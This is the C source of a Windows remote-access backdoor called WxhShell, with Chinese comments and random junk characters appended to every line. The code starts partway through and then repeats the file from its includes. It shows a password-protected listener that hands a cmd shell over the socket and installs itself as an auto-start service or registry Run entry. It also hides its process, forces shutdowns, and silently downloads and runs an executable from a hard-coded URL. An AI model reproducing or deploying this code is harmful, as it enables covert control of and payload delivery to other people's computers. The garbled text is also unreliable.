    else { M)Iu'  
    closesocket(wsh); ^h+,Kn0@  
    ExitThread(0); Yqs N#E3pf  
    } G[4TT#  
    break; S Rs~p  
    } X {,OP/  
  // 关机 PI>PEge!&  
  case 'd': { ?CB*MWjd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mzuf l:-=  
    if(Boot(SHUTDOWN)) *')g}2iB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,?Pn-aC +  
    else { d,}fp)  
    closesocket(wsh); q\Cg2[nn2  
    ExitThread(0); a []Iz8*6e  
    } )clSW  
    break; ;[%_sVIy  
    } RZm}%6##ZC  
  // 获取shell #s JE{Tb  
  case 's': { p[BF4h{E  
    CmdShell(wsh); 3$Ew55  
    closesocket(wsh); "(y",!U@  
    ExitThread(0); -TKS`,#  
    break; 1JIL6w_  
  } ("{JNA/  
  // 退出  zk8 o[4  
  case 'x': { ZV}"k_+-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c"OBm#  
    CloseIt(wsh); aC0[OmbG  
    break; s`* 'JM<  
    } jU2Dpxkt  
  // 离开  %Gp%l  
  case 'q': { ]M AB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,-PzUR4_Kj  
    closesocket(wsh); Fw!wSzsk3  
    WSACleanup(); Qmxe*@{`  
    exit(1); \|20E51B[  
    break; `oP<mLxle  
        } ^|^ek  
  } n}9vAvC  
  } 6AeX$>k+  
"0o1M\6Z  
  // 提示信息 fj X~"U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >jEn>H?  
} Xz)UH<  
  } 'Eds0"3  
ugexkdgM  
  return; Xg:w;#r,  
} 74YMFI   
=a>a A Z  
// shell模块句柄 QjH;'OVt  
int CmdShell(SOCKET sock) y=i_:d0M  
{ ?! >B}e&,  
STARTUPINFO si; T'9I&h%\  
ZeroMemory(&si,sizeof(si)); yX%T-/XJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ":E^&yQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m+p}Qi8i)  
PROCESS_INFORMATION ProcessInfo; \u@4 eBAV  
char cmdline[]="cmd"; }qy,/<R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /(C?3 }}L  
  return 0; yidUtSv=,  
} FQ dz":5  
7%?2>t3~  
// 自身启动模式 7'wt/9  
int StartFromService(void) ~=hM y`Ml  
{ CJB   
typedef struct V4cCu~(3;~  
{ S,Q!Xb@  
  DWORD ExitStatus; Z;kRQ  
  DWORD PebBaseAddress; )1Rn;(j9Re  
  DWORD AffinityMask; F"2v5F@  
  DWORD BasePriority; mdxa^#w  
  ULONG UniqueProcessId; p2T%Zl_  
  ULONG InheritedFromUniqueProcessId; % 1Y!|306  
}   PROCESS_BASIC_INFORMATION; ( ON n{12Q  
L[\m{gN  
PROCNTQSIP NtQueryInformationProcess; n1OxT"tD  
pG?AwB~@n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `N$:QWJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3nb&Z_/e  
VW^6qf/,  
  HANDLE             hProcess; ConXP\M-  
  PROCESS_BASIC_INFORMATION pbi; )N[9r{3  
]v=*WK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  X._skq  
  if(NULL == hInst ) return 0; FqQqjA  
([~9v@+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E (DNK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~hi\*W6jg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S9~X#tpKe  
5WN^8`{'3  
  if (!NtQueryInformationProcess) return 0; tfzIem  
xWk:7,/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %:I\M)t}k  
  if(!hProcess) return 0; , ~^0AtLv  
eELJDSd BV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OO?d[7Wt0  
L:$kd `v[  
  CloseHandle(hProcess); KT1/PWa  
oej5bAi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \lj.vzD-A  
if(hProcess==NULL) return 0; MfNxd 6w  
V1Yab#  
HMODULE hMod; p*U!94Pb  
char procName[255]; .vie#,la  
unsigned long cbNeeded; pwRCfR)"X  
 7gx?LI_e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o?^Rw*u0/  
RN$>!b/  
  CloseHandle(hProcess); 6m@B.+1  
Ed+jSO0  
if(strstr(procName,"services")) return 1; // 以服务启动 lx7]rkWo|a  
e|q~t {=9S  
  return 0; // 注册表启动 ornU8H`  
} V{ fG~19  
j@{B 8  
// 主模块 TiR00#b  
int StartWxhshell(LPSTR lpCmdLine) 0es\ j6c  
{ j9X|c7|  
  SOCKET wsl; vnS8N  
BOOL val=TRUE; tns4e\  
  int port=0; f@k.4aS  
  struct sockaddr_in door; !="8ok+  
<*9(m  
  if(wscfg.ws_autoins) Install(); P26"z))~d  
>uDC!0)R  
port=atoi(lpCmdLine); &}t8O?!  
OuK RaZ  
if(port<=0) port=wscfg.ws_port; xz~Y %Y|Z  
av_ +M;G  
  WSADATA data; Z@bSkO<Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {gxP_>  
#N;&^El  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /t*Q"0X5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZZ T 9t#~  
  door.sin_family = AF_INET; ]0g p.R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h"[:$~/UJ  
  door.sin_port = htons(port); ^9><qKbO  
|7Qe{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \Yn0|j>  
closesocket(wsl); 5~d=,;yE  
return 1; p K ^$^*#  
} Xc4zUEO9  
<+<Nsza  
  if(listen(wsl,2) == INVALID_SOCKET) { /(?s\}O  
closesocket(wsl); clk]JA (  
return 1;  n}- _fx  
} y.-Kqa~  
  Wxhshell(wsl); c|K:oi,z  
  WSACleanup(); 2%*\XPt)  
2XEE/]^  
return 0; zFQm3!.  
oArXP\#  
} j6j4M,UI43  
u\"/EaQ{  
// 以NT服务方式启动 `2]TPaWGh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /} h"f5  
{ #$]8WSl  
DWORD   status = 0; ou{V/?rb  
  DWORD   specificError = 0xfffffff; :, 3S5!(y  
:^-\KE` 3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dK;ebg9|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LIKQQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0{I-x^FI  
  serviceStatus.dwWin32ExitCode     = 0; ,L C(Ax'.F  
  serviceStatus.dwServiceSpecificExitCode = 0; @ 2On`~C`  
  serviceStatus.dwCheckPoint       = 0; `Y^l.%AZZ  
  serviceStatus.dwWaitHint       = 0; SbQ:vAE*ho  
dn:\V?9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K=r~+4F  
  if (hServiceStatusHandle==0) return; 9m\Yi  
rHuzGSX54  
status = GetLastError();  d^zuo  
  if (status!=NO_ERROR) wEN[o18{  
{ m77 !i>V)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G:@1.H`  
    serviceStatus.dwCheckPoint       = 0; m#-&<=  
    serviceStatus.dwWaitHint       = 0; ddbQFAQQQ  
    serviceStatus.dwWin32ExitCode     = status; .&`apQD}  
    serviceStatus.dwServiceSpecificExitCode = specificError; |>1#)cONW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wc,`L$Jx  
    return; _xy[\X;9  
  } +1@'2w{  
; .b^&h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &aa3BgxyE  
  serviceStatus.dwCheckPoint       = 0; {;6a_L@q;|  
  serviceStatus.dwWaitHint       = 0; ;}M&fXFp"|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z[0/x.pp$  
} +n$ruoRJh  
( uG; Q  
// 处理NT服务事件,比如:启动、停止 <_]W1V:0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .$ YYN/+W  
{ 6{0MprY  
switch(fdwControl) REh\WgV!u  
{ zbGZ\pz  
case SERVICE_CONTROL_STOP: /8<c~  
  serviceStatus.dwWin32ExitCode = 0; S]Di1E^r;_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U3{4GmrT  
  serviceStatus.dwCheckPoint   = 0; YK5(oKFN  
  serviceStatus.dwWaitHint     = 0; [=tIgMmz  
  { {[hgSVN ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `U|zNizO  
  } 0cVxP)J+  
  return; mIPDF1= )  
case SERVICE_CONTROL_PAUSE: $RunGaX!=N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j(}pUV B  
  break; WF_QhKW|k  
case SERVICE_CONTROL_CONTINUE: IYHNN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2+b}FVOe\  
  break; wQ~]VV RN  
case SERVICE_CONTROL_INTERROGATE: ggm'9|  
  break; lL 50PU  
}; 8TK*VOf`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gvD*^  
} kP5G}Bp  
EziGkbpd@  
// 标准应用程序主函数 c=QN!n:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -@Urq>^v T  
{ Qpj[]c5  
ReL+V  
// 获取操作系统版本 T LF'7ufq  
OsIsNt=GetOsVer(); Le{.B@2-"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q04 `+Vr  
.:GOKyr(~  
  // 从命令行安装 #{^qBP[  
  if(strpbrk(lpCmdLine,"iI")) Install(); g#Ta03\  
y y[Y=  
  // 下载执行文件 SLUQFoz}  
if(wscfg.ws_downexe) { BjA$^i|8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #K/JU{"  
  WinExec(wscfg.ws_filenam,SW_HIDE); y~wr4Q=  
} JG7K-W|!c  
VE1j2=3+o  
if(!OsIsNt) { 4tx6h<L#s  
// 如果时win9x,隐藏进程并且设置为注册表启动 }B!io-}  
HideProc(); m(^N8k1K;  
StartWxhshell(lpCmdLine); %iJ}H6m  
}  ls7P$qq  
else %o{IQ4Lz#  
  if(StartFromService()) ^HtB!Xc  
  // 以服务方式启动 Pl-9FLJ  
  StartServiceCtrlDispatcher(DispatchTable); "WO0 rh`  
else ?STO#<a  
  // 普通方式启动 ]0MuXiR  
  StartWxhshell(lpCmdLine); p=zTY7L  
y~\uS  
return 0; ?Zk;NL9  
} @*- 6DG-f  
Li$2 Gpc/  
0&b;!N!vJ  
N8x.D-=gG  
=========================================== fO .=i1 E}  
8G9( )UF.  
%+<1X?;,Fq  
}$r]\v  
};EB  
jW-;Y/S  
" 412E7   
hE$3l+  
#include <stdio.h> |JP'j1 Ka  
#include <string.h> e@ $|xa")  
#include <windows.h> oA7|s1  
#include <winsock2.h> N 7Y X  
#include <winsvc.h> e7\gd\  
#include <urlmon.h> P4c3kO0  
8>D*U0sNl  
#pragma comment (lib, "Ws2_32.lib") ]#rV]As  
#pragma comment (lib, "urlmon.lib") E}a.qM'  
4^4T#f2=e  
#define MAX_USER   100 // 最大客户端连接数 B4+c3M\$V  
#define BUF_SOCK   200 // sock buffer ua &uR7  
#define KEY_BUFF   255 // 输入 buffer 1/qD5 *`Y  
8ph1xQ'  
#define REBOOT     0   // 重启 pY&dw4V  
#define SHUTDOWN   1   // 关机 d(R8^v/L  
-vk/z+-^!  
#define DEF_PORT   5000 // 监听端口 ,# .12Q!  
JP {`^c  
#define REG_LEN     16   // 注册表键长度 Kxeq Q@  
#define SVC_LEN     80   // NT服务名长度 6c/0OM#  
Cw kQhj?  
// 从dll定义API f~TkU\Rh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2Ur&_c6 P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Aw4)=-LKO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x_?K6[G&}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oWi#?'  
WX_g  
// wxhshell配置信息 HU4h.Lm  
struct WSCFG { u|u)8;'9(  
  int ws_port;         // 监听端口 _v,Wl/YAp  
  char ws_passstr[REG_LEN]; // 口令 3webAaO  
  int ws_autoins;       // 安装标记, 1=yes 0=no $AMcU5^b7  
  char ws_regname[REG_LEN]; // 注册表键名 M(C}2.20  
  char ws_svcname[REG_LEN]; // 服务名 )`\Q/TMl5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G{Ju2HY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Q,Tcj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gSyBoY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $#W^JWN1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TlX:05/V8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [Fk|m1i!  
B4+u/hkbh?  
}; /RxqFpu|.  
p|a`Q5z!  
// default Wxhshell configuration I3T;|;P7  
struct WSCFG wscfg={DEF_PORT, 0]]OE+9<c  
    "xuhuanlingzhe", ba ,n/yH  
    1, o_kZ  
    "Wxhshell", |Zp') JiS  
    "Wxhshell", ;p fN  
            "WxhShell Service", FYefn3b  
    "Wrsky Windows CmdShell Service", .'2I9P\!  
    "Please Input Your Password: ", x;~@T9.  
  1, 2e3AmR@*  
  "http://www.wrsky.com/wxhshell.exe", -ik((qx_  
  "Wxhshell.exe" <@+L^Ps~z  
    }; NE) w$>0M  
xCT2FvX6  
// 消息定义模块 d/$e#8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sE|8a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VsK8:[Al  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ kMe8F_  
char *msg_ws_ext="\n\rExit."; m] p]J_6A  
char *msg_ws_end="\n\rQuit."; ~HT:BO$  
char *msg_ws_boot="\n\rReboot..."; 2\+N<-(F5  
char *msg_ws_poff="\n\rShutdown..."; 2.v`J=R  
char *msg_ws_down="\n\rSave to ";  w+5OI9  
yOb']  
char *msg_ws_err="\n\rErr!"; m c@Z+t'  
char *msg_ws_ok="\n\rOK!"; O~ x{p,s U  
^( 7l!  
char ExeFile[MAX_PATH]; pI>GusXg  
int nUser = 0; {CVZ7tU7]  
HANDLE handles[MAX_USER]; |q\i, }  
int OsIsNt; mYXL  
dpt P(H  
SERVICE_STATUS       serviceStatus; J<Ki;_=I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +#(GU9_i+M  
qxZf!NX5  
// 函数声明 gQY`qz  
int Install(void); ,,#6SR(n  
int Uninstall(void); -JFW ,8=8  
int DownloadFile(char *sURL, SOCKET wsh); GU Mf}y  
int Boot(int flag); =i7CF3  
void HideProc(void); ;>X;cZMd  
int GetOsVer(void); +x4*T  
int Wxhshell(SOCKET wsl); j-FMWEp  
void TalkWithClient(void *cs); H&k&mRi  
int CmdShell(SOCKET sock); aSHN*tP%y  
int StartFromService(void); uz=9L<$  
int StartWxhshell(LPSTR lpCmdLine); HoWK# Nz\  
`G*fx=N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MD,BGO?C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4wa3$Pk  
~52'iI)Mw  
// 数据结构和表定义 0 EA3> $;  
SERVICE_TABLE_ENTRY DispatchTable[] = v"Ryg]^_  
{ \]\GDpu[  
{wscfg.ws_svcname, NTServiceMain}, la$%%@0/  
{NULL, NULL} Bw[IW[(~!  
}; c5i7mx:.  
XZ(<Mo\v  
// 自我安装 jr-9KxE  
int Install(void) 37M,Os1(  
{ SVV-zz]3M  
  char svExeFile[MAX_PATH]; mfDt_Iq  
  HKEY key; *Id[6Z  
  strcpy(svExeFile,ExeFile); WBzPSnS2  
kKC] n   
// 如果是win9x系统,修改注册表设为自启动  Sb)}  
if(!OsIsNt) {  5pHv5e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V;~\+@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lo}/k}3Sx  
  RegCloseKey(key); _Ii=3Qsf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lC d\nE8G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a^O>i#i  
  RegCloseKey(key); ^ b=;  
  return 0; lx?v .:zl\  
    } dWhqu68_  
  } hOdU%  
} 2G3Hi;q18  
else { ^R7X!tOq4  
I: MrX  
// 如果是NT以上系统,安装为系统服务 uOd1:\%*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0+w(cf~6  
if (schSCManager!=0) gh^w !tH3  
{ 3 "Qg"\  
  SC_HANDLE schService = CreateService =i/ r:  
  ( ]{ch]m  
  schSCManager, tWTC'Gx-J  
  wscfg.ws_svcname, N\CHIsVm>  
  wscfg.ws_svcdisp, E^pn-rB  
  SERVICE_ALL_ACCESS, } R hSt]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l$W)Vk<B(T  
  SERVICE_AUTO_START, ?1eu9;q\*  
  SERVICE_ERROR_NORMAL, moMNd(p  
  svExeFile, jpMMnEVj6P  
  NULL, 7+6I~&x!Lz  
  NULL, M}=fdH  
  NULL, uY3#,  
  NULL, Uqly|FS &n  
  NULL Ms+SJ5Lg  
  ); 6&2{V? W3  
  if (schService!=0) rQPO+  
  { t+0/$  
  CloseServiceHandle(schService); [DtMT6F3  
  CloseServiceHandle(schSCManager); Yb:F,d-Ya  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); swLNNA.  
  strcat(svExeFile,wscfg.ws_svcname); 'Q.5` o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0AhUH| ]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t0^)Q$  
  RegCloseKey(key); _u~`RlA  
  return 0; scrss  
    } izu_KBzy  
  } {L M Q  
  CloseServiceHandle(schSCManager); /}5)[9GC  
} Q} g"pl  
} +)_DaL E  
:8?l=B9("g  
return 1; /6 y;fx  
} V[7D4r.j  
kn&BGYt  
// 自我卸载 N[yS heT  
int Uninstall(void) Qv8 =CnuOT  
{ W{ZJ^QAq/  
  HKEY key; )E6E}  
^Q!A4 qOQ  
if(!OsIsNt) { H8Z|gq1r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B? XK;*])  
  RegDeleteValue(key,wscfg.ws_regname); oS_YQOoD  
  RegCloseKey(key); @?t+O'&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Go[anf  
  RegDeleteValue(key,wscfg.ws_regname); /d$kz&aIV  
  RegCloseKey(key); v <| iN#  
  return 0; 1Z_ H% (  
  } -"bC[WN  
} w3ZO CWJS  
} r8o^8.  
else { <anU#bEuQ  
^r{N^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @CC 6 `D  
if (schSCManager!=0) Y{X%C\  
{ _) UnHp_^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); un)PW&~E  
  if (schService!=0) UGoB7TEfn  
  { #"[EVF0%1D  
  if(DeleteService(schService)!=0) { P|;f>*^Y  
  CloseServiceHandle(schService); J d,9<m $  
  CloseServiceHandle(schSCManager); OA[fQH#{lX  
  return 0; 5`::#[  
  } }=u#,nDl>$  
  CloseServiceHandle(schService); ?MvL}o\|  
  } q$}gQ9'z'  
  CloseServiceHandle(schSCManager); 71\GK  
} g$qM}#s0}  
} uaha)W;'9  
f{{J_""?&  
return 1; L#!m|_Mz  
} }%0X7'  
_gl1Qtv@rf  
// 从指定url下载文件 J!@R0U.  
int DownloadFile(char *sURL, SOCKET wsh) FY/F}C,o  
{ U8<C4  
  HRESULT hr; s/P+?8'9  
char seps[]= "/"; cSmy M~[  
char *token; iaRCV 6cl  
char *file; e&NJj:Ph*  
char myURL[MAX_PATH]; GX*9R>  
char myFILE[MAX_PATH]; r<Q0zKW!jN  
l}D /1~d  
strcpy(myURL,sURL); S&c5Q*->[  
  token=strtok(myURL,seps); " #w%sG^_  
  while(token!=NULL) ( F4c0  
  {  gq} c  
    file=token; IL"N_ux~w~  
  token=strtok(NULL,seps); UM^~a$t  
  } 8<=sUO  
0*AXd=)"*  
GetCurrentDirectory(MAX_PATH,myFILE); 9 {IDw   
strcat(myFILE, "\\"); q&LCMnv"P  
strcat(myFILE, file); r,P`$-  
  send(wsh,myFILE,strlen(myFILE),0); NT9|``^Z  
send(wsh,"...",3,0); *thm)Mn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J.c yb  
  if(hr==S_OK) @Z<Z//^k  
return 0; 8cuI-Swz  
else ENFM``dV#  
return 1; sR)jZpmC(  
,MG`} *N}  
} }R_Rw:W  
d\r-)VWSr"  
// 系统电源模块 F]s:`4  
int Boot(int flag) x1}Ono3"T  
{ Uyd'uC  
  HANDLE hToken; u hB V)Qg  
  TOKEN_PRIVILEGES tkp; X<g }F[Y  
`X<a(5[vV3  
  if(OsIsNt) { M6].V*k'2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ms-)S7tMz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "ZFH_5<  
    tkp.PrivilegeCount = 1; #WAX&<m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a TPq1u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v3<q_J'qT  
if(flag==REBOOT) { ^Ww5@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g1Osd7\o  
  return 0; s3 VD6xi7  
} 2)-4?uz~  
else { ?MS!t6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {P )O#  
  return 0; rU 1Ri  
} ACpecG  
  } QuC_sFP10  
  else { _7dp(R  
if(flag==REBOOT) { ,,lR\!>8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "CZv5)  
  return 0; M; YJpi  
} 32`Z3-  
else { WADEDl&,'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) js% n]$N  
  return 0; 0;hn;(V]"  
} UKPr[  
} ,RP9v*  
 {@k , e  
return 1; > }kZXeR|  
} [8K :ml  
Sf@xP.d  
// win9x进程隐藏模块 dqO]2d  
void HideProc(void) =r3g:j/>q  
{ =y`-:j\  
6;;2e> e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :39arq  
  if ( hKernel != NULL ) vJS}_j]_@  
  { oe!4ng[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m7i(0jd +  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }{Ra5-PY  
    FreeLibrary(hKernel); +[4y)y`  
  } U]g9t<jD  
P!!O~P  
return; kfZ(:3W$  
} 0|8cSE< i  
D|^N9lDaQ  
// 获取操作系统版本 [a?bv7Kz  
int GetOsVer(void) A;o({9VH`Z  
{ Ge^,hAM'  
  OSVERSIONINFO winfo; ^66OzT8A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =YD<q:n4  
  GetVersionEx(&winfo); w^,Xa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WZh_z^rwn  
  return 1; y,w_x,m  
  else &>QxL d#  
  return 0; )<qL8#["U  
} [jrfh>v  
Gl[1K/,*  
// 客户端句柄模块 XL'\$f  
int Wxhshell(SOCKET wsl) yB 'C9wEH  
{ J6"GHbsO  
  SOCKET wsh; 2b-g`60<  
  struct sockaddr_in client; COmu.'%*  
  DWORD myID; ^YB2E*  
JAT%s %UC  
  while(nUser<MAX_USER) @AK&R~<  
{ @]p {%"$  
  int nSize=sizeof(client); =K}T; c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PZlPC#E-  
  if(wsh==INVALID_SOCKET) return 1; bm4Bq>*=U  
kE|x'(x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T8Q_JQ  
if(handles[nUser]==0) Hi*|f!,H?  
  closesocket(wsh); B]E c  
else #^R@EZ  
  nUser++; ;zV<63tW  
  } uX]]wj-R3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <K,X5ctM}  
eZ-fy,E  
  return 0; z4$9,p `  
} :"H? phk  
g,W34*7=Q  
// 关闭 socket L 4Z+8*  
void CloseIt(SOCKET wsh) N Z ,}v3  
{ PN:`SWP  
closesocket(wsh); .k +>T*c{  
nUser--; r adP%W-U  
ExitThread(0); UBk:B  
} c;06>1=wP5  
OK YbEn#  
// 客户端请求句柄 %d%?\jVb  
void TalkWithClient(void *cs) aAG']y  
{ k GYsjhL\d  
lnm@DWhf  
  SOCKET wsh=(SOCKET)cs; nwC*w`4  
  char pwd[SVC_LEN]; J@}PySq  
  char cmd[KEY_BUFF]; ^ meU&  
char chr[1]; 96J]g*o(uU  
int i,j; B692Mn  
y` '#gH  
  while (nUser < MAX_USER) { lyyf&?2  
\7pEn  
if(wscfg.ws_passstr) { ^:}C,lIrG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y6x./1Nb}<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FK94CI  
  //ZeroMemory(pwd,KEY_BUFF); `!(%R k  
      i=0; aw~h03R_Z  
  while(i<SVC_LEN) { *::.Uo4O  
\okv}x^L=Z  
  // 设置超时 a|.IAxJ  
  fd_set FdRead; Q"GM3?  
  struct timeval TimeOut; F`2h,i-9  
  FD_ZERO(&FdRead); j+{cc: h"X  
  FD_SET(wsh,&FdRead); 7YK6e  
  TimeOut.tv_sec=8; >]C/ Q6  
  TimeOut.tv_usec=0; mg@Ol"2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (@qS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AE~@F4MK  
dqo-.,=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1~3dX[&  
  pwd=chr[0]; mH4u@aQ}  
  if(chr[0]==0xd || chr[0]==0xa) { HavlN}h  
  pwd=0; q-uzu!  
  break; "@/pQoLy  
  } 9F?-zn;2s  
  i++; :@ VCKq!  
    } <t*<SdAq>`  
Vsw:&$  
  // 如果是非法用户,关闭 socket d_0(;'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uxik&M  
} ( ^@i(XQ  
'}B"071)<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1s(]@gt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !.q 9:|oc  
R[S1<m;  
while(1) { yXv@yn  
h z{--  
  ZeroMemory(cmd,KEY_BUFF); O8_! !Qd  
&zJ*afi)  
      // 自动支持客户端 telnet标准   \=mLL|a  
  j=0; +zq"dj_  
  while(j<KEY_BUFF) { U{LS_VI~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aNNRw(0/  
  cmd[j]=chr[0]; u%E8&T8,  
  if(chr[0]==0xa || chr[0]==0xd) { U1pE2o-  
  cmd[j]=0; p@uHzu7  
  break; b4bd^nrqV  
  } ?Tu=-ppw  
  j++; N-knhA  
    } " zD9R4\X.  
SK^(7Ws~0  
  // 下载文件 R8eBIJ/@_  
  if(strstr(cmd,"http://")) { Dq$1 j%4Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~gGkw#  
